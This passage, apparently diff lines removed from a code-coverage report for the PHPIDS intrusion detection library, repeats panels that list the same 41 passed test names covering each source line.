class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel180": { - "header": "41 tests cover line 180", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel188": { - "header": "41 tests cover line 188", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel189": { - "header": "41 tests cover line 189", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel190": { - "header": "41 tests cover line 190", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel191": { - "header": "41 tests cover line 191", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel193": { - "header": "41 tests cover line 193", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel195": { - "header": "41 tests cover line 195", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel196": { - "header": "41 tests cover line 196", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel198": { - "header": "41 tests cover line 198", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel199": { - "header": "41 tests cover line 199", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel201": { - "header": "41 tests cover line 201", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li 